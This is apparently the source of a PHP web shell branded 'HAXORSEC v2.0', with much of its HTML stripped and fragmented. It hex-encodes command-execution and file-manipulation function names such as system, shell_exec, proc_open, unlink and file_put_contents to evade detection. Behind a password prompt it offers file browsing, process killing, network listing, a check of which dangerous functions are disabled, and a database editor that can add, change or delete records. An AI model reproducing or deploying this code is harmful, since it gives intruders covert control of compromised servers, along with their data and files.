HAXORSEC v2.0
Restricted Access
Password is required
0
'676c6f62', # gl ob => 1
'69735f646972', # is_d ir => 2
'69735f66696c65', # is_ file => 3
'69735f7772697461626c65', # is_wr iteable => 4
'69735f7265616461626c65', # is_re adble => 5
'66696c657065726d73', # fileper ms => 6
'66696c65', # f ile => 7
'7068705f756e616d65', # php_unam e => 8
'6765745f63757272656e745f75736572', # getc urrentuser => 9
'68746d6c7370656369616c6368617273', # html special => 10
'66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11
'6d6b646972', # mk dir => 12
'746f756368', # to uch => 13
'6368646972', # ch dir => 14
'72656e616d65', # ren ame => 15
'65786563', # exe c => 16
'7061737374687275', # pas sthru => 17
'73797374656d', # syst em => 18
'7368656c6c5f65786563', # sh ell_exec => 19
'706f70656e', # p open => 20
'70636c6f7365', # pcl ose => 21
'73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22
'70726f635f6f70656e', # p roc_open => 23
'756e6c696e6b', # un link => 24
'726d646972', # rmd ir => 25
'666f70656e', # fop en => 26
'66636c6f7365', # fcl ose => 27
'66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28
'6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29
'63686d6f64', # ch mod => 30
'7379735f6765745f74656d705f646972', # temp _dir => 31
'6261736536345F6465636F6465', # => bas e6 4 _decode => 32
'6261736536345F656E636F6465', # => ba se6 4_ encode => 33
'636f7079' # co py => 34
];
$hitung_array = count($Array);
for ($i = 0; $i < $hitung_array; $i++) {
$fungsi[] = unx($Array[$i]);
}
if (isset($_GET['d'])) {
$cdir = unx($_GET['d']);
$fungsi[14]($cdir);
} else {
$cdir = $fungsi[0]();
}
function file_ext($file)
{
if (mime_content_type($file) == 'image/png' or mime_content_type($file) == 'image/jpeg') {
return '
$parts[0],
'pid' => $parts[1],
'cpu' => $parts[2],
'mem' => $parts[3],
'command' => implode(' ', array_slice($parts, 10))
);
$processes[] = $process;
}
return $processes;
}
function getNetworkConnections() {
$connections = array();
$output = cmd('netstat -tulnp 2>/dev/null');
$lines = explode("\n", $output);
array_shift($lines);
array_shift($lines);
foreach ($lines as $line) {
if (empty($line)) continue;
$parts = preg_split('/\s+/', $line);
if (count($parts) < 6) continue;
$connection = array(
'proto' => $parts[0],
'local' => $parts[3],
'remote' => isset($parts[4]) ? $parts[4] : '-',
'status' => isset($parts[5]) ? $parts[5] : '-',
'pid' => isset($parts[6]) ? explode('/', $parts[6])[0] : '-'
);
$connections[] = $connection;
}
return $connections;
}
$sysInfo = getSystemInfo();
function formatMemory($bytes) {
if ($bytes === 'N/A') return 'N/A';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, 2) . ' ' . $units[$pow];
}
$cpuLoadPercent = $sysInfo['cpu_load'] !== 'N/A' ? min(100, $sysInfo['cpu_load'] * 100) : 0;
$memUsagePercent = $sysInfo['mem_usage'] !== 'N/A' && $sysInfo['mem_total'] !== 'N/A' ?
($sysInfo['mem_usage'] / $sysInfo['mem_total']) * 100 : 0;
$diskUsagePercent = $sysInfo['disk_total'] !== 'N/A' && $sysInfo['disk_used'] !== 'N/A' ?
($sysInfo['disk_used'] / $sysInfo['disk_total']) * 100 : 0;
function formatUptime($seconds) {
if ($seconds === 'N/A') return 'N/A';
$hours = floor($seconds / 3600);
$minutes = floor(($seconds % 3600) / 60);
return sprintf('%dh %dm', $hours, $minutes);
}
function getDisabledFunctions() {
$disabled = ini_get('disable_functions');
if (empty($disabled)) {
return array();
}
return explode(',', $disabled);
}
$importantFunctions = array(
'exec', 'system', 'shell_exec', 'passthru', 'proc_open',
'popen', 'curl_exec', 'curl_multi_exec', 'parse_ini_file',
'show_source', 'symlink', 'putenv', 'mail', 'dl',
'chmod', 'chown', 'chgrp', 'link', 'fsockopen',
'pfsockopen', 'posix_kill', 'posix_mkfifo', 'posix_setpgid',
'posix_setsid', 'posix_setuid', 'pcntl_exec', 'imap_open',
'apache_setenv', 'proc_nice', 'proc_terminate', 'proc_get_status',
'escapeshellcmd', 'escapeshellarg', 'ini_restore', 'stream_socket_server'
);
$disabledFunctions = getDisabledFunctions();
$disabledImportant = array_intersect($importantFunctions, $disabledFunctions);
?>
Disabled Functions Check
Back
TOTAL CHECKED
= count($importantFunctions) ?> functions
DISABLED
= count($disabledImportant) ?> functions
ENABLED
= count($importantFunctions) - count($disabledImportant) ?> functions
Critical Functions Status
Function
Status
= $func ?>
DISABLED
ENABLED
Showing all running processes. Click on a process to kill it.
PID
User
CPU %
MEM %
Command
Action
= $process['pid'] ?>
= $process['user'] ?>
= $process['cpu'] ?>
= $process['mem'] ?>
= htmlspecialchars(substr($process['command'], 0, 50)) ?>
Showing all active network connections.
Protocol
Local Address
Remote Address
Status
PID
= $conn['proto'] ?>
= $conn['local'] ?>
= $conn['remote'] ?>
= $conn['status'] ?>
= $conn['pid'] ?>
Database Connection
setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
echo '
';
echo '
';
echo ' ';
echo 'Database Information';
echo ' ';
if (empty($db_name)) {
$stmt = $pdo->query("SHOW DATABASES");
$databases = $stmt->fetchAll(PDO::FETCH_COLUMN);
echo '
';
echo '
Available Databases ';
foreach ($databases as $database) {
echo '
';
}
echo '
';
} else {
$stmt = $pdo->query("SHOW TABLES");
$tables = $stmt->fetchAll(PDO::FETCH_COLUMN);
echo '
';
echo '
Tables in ' . htmlspecialchars($db_name) . ' ';
foreach ($tables as $table) {
echo '
';
}
echo '
';
if (isset($_GET['table'])) {
$table = $_GET['table'];
if (isset($_POST['delete_record'])) {
$id_column = $_POST['id_column'];
$id_value = $_POST['id_value'];
$stmt = $pdo->prepare("DELETE FROM `$table` WHERE `$id_column` = ?");
$stmt->execute([$id_value]);
echo '
Record deleted successfully.
';
}
if (isset($_POST['add_record'])) {
$columns = [];
$values = [];
$placeholders = [];
foreach ($_POST as $key => $value) {
if (strpos($key, 'new_') === 0) {
$column = substr($key, 4);
$columns[] = "`$column`";
$values[] = $value;
$placeholders[] = '?';
}
}
$sql = "INSERT INTO `$table` (" . implode(', ', $columns) . ") VALUES (" . implode(', ', $placeholders) . ")";
$stmt = $pdo->prepare($sql);
$stmt->execute($values);
echo '
Record added successfully.
';
}
if (isset($_POST['update_record'])) {
$id_column = $_POST['id_column'];
$id_value = $_POST['id_value'];
$setParts = [];
$values = [];
foreach ($_POST as $key => $value) {
if (strpos($key, 'edit_') === 0) {
$column = substr($key, 5);
$setParts[] = "`$column` = ?";
$values[] = $value;
}
}
$values[] = $id_value;
$sql = "UPDATE `$table` SET " . implode(', ', $setParts) . " WHERE `$id_column` = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute($values);
echo '
Record updated successfully.
';
}
?>
query("DESCRIBE `$table`");
$columns_info = $stmt->fetchAll(PDO::FETCH_ASSOC);
$primary_key = '';
foreach ($columns_info as $col) {
if ($col['Key'] == 'PRI') {
$primary_key = $col['Field'];
break;
}
}
$stmt = $pdo->query("SELECT * FROM `$table` LIMIT 100");
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo '
';
echo '
';
echo '
Data in ' . htmlspecialchars($table) . ' ';
echo '';
echo ' Add Record';
echo ' ';
echo '';
if (count($rows) > 0) {
echo '
';
echo '
';
echo '';
echo '';
foreach (array_keys($rows[0]) as $column) {
echo '' . htmlspecialchars($column) . ' ';
}
echo 'Actions ';
echo ' ';
echo ' ';
echo '';
foreach ($rows as $row) {
echo '';
foreach ($row as $value) {
echo '' . htmlspecialchars($value) . ' ';
}
echo '';
echo '';
echo ' Edit';
echo ' ';
echo '';
echo ' Delete';
echo ' ';
echo ' ';
echo ' ';
}
echo ' ';
echo '
';
echo '
';
} else {
echo '
No data found in this table.
';
}
echo '
';
}
}
echo '
';
} catch (PDOException $e) {
echo '
';
echo ' ';
echo 'Connection failed: ' . htmlspecialchars($e->getMessage());
echo '
';
}
}
?>
Scan Directory
$path,
'signature' => $sig,
'line' => find_line_number($content, $sig)
);
break;
}
}
}
}
}
}
return $results;
}
function find_line_number($content, $search) {
$lines = explode("\n", $content);
foreach ($lines as $i => $line) {
if (strpos($line, $search) !== false) {
return $i + 1;
}
}
return 'N/A';
}
$deep_scan = ($scan_type == 'deep');
$scan_results = scan_directory($scan_dir, $malware_signatures, $deep_scan);
echo '
';
echo '
';
echo ' ';
echo 'Scan Results';
echo ' ';
if (count($scan_results) > 0) {
?>
File
Malware Type
Line
Action
= htmlspecialchars(basename($r['file'])) ?>
= htmlspecialchars(dirname($r['file'])) ?>
= htmlspecialchars($r['signature']) ?>
= $r['line'] ?>
Found = count($scan_results) ?> potential malware files!
';
echo '
No malware signatures found in scanned files.';
echo '
';
}
echo '
';
}
?>
CPU LOAD
= $sysInfo['cpu_load'] !== 'N/A' ? round($sysInfo['cpu_load'], 2) : 'N/A' ?>
0%
= $sysInfo['cpu_load'] !== 'N/A' ? round($sysInfo['cpu_load'], 2) . '%' : 'N/A' ?>
MEMORY
= formatMemory($sysInfo['mem_total']) ?>
0%
= $memUsagePercent > 0 ? round($memUsagePercent, 2) . '%' : 'N/A' ?>
DISK
= $sysInfo['disk_total'] !== 'N/A' ? formatMemory($sysInfo['disk_total']) : 'N/A' ?>
0%
= $diskUsagePercent > 0 ? round($diskUsagePercent, 2) . '%' : 'N/A' ?>
UPTIME
= formatUptime($sysInfo['uptime']) ?>
HOSTNAME
= $fungsi[8](); ?>
SOFTWARE
= $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45"]; ?>
IP ADDRESS
= gethostbyname($_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]); ?>
PHP VERSION
= PHP_VERSION; ?>
$val) {
if ($val == '' && $id == 0) {
echo '
/
';
continue;
}
if ($val == '') continue;
echo '
/ ';
echo '
' . $val . ' ';
}
?>
Home
NAME
SIZE
PERMISSIONS
ACTIONS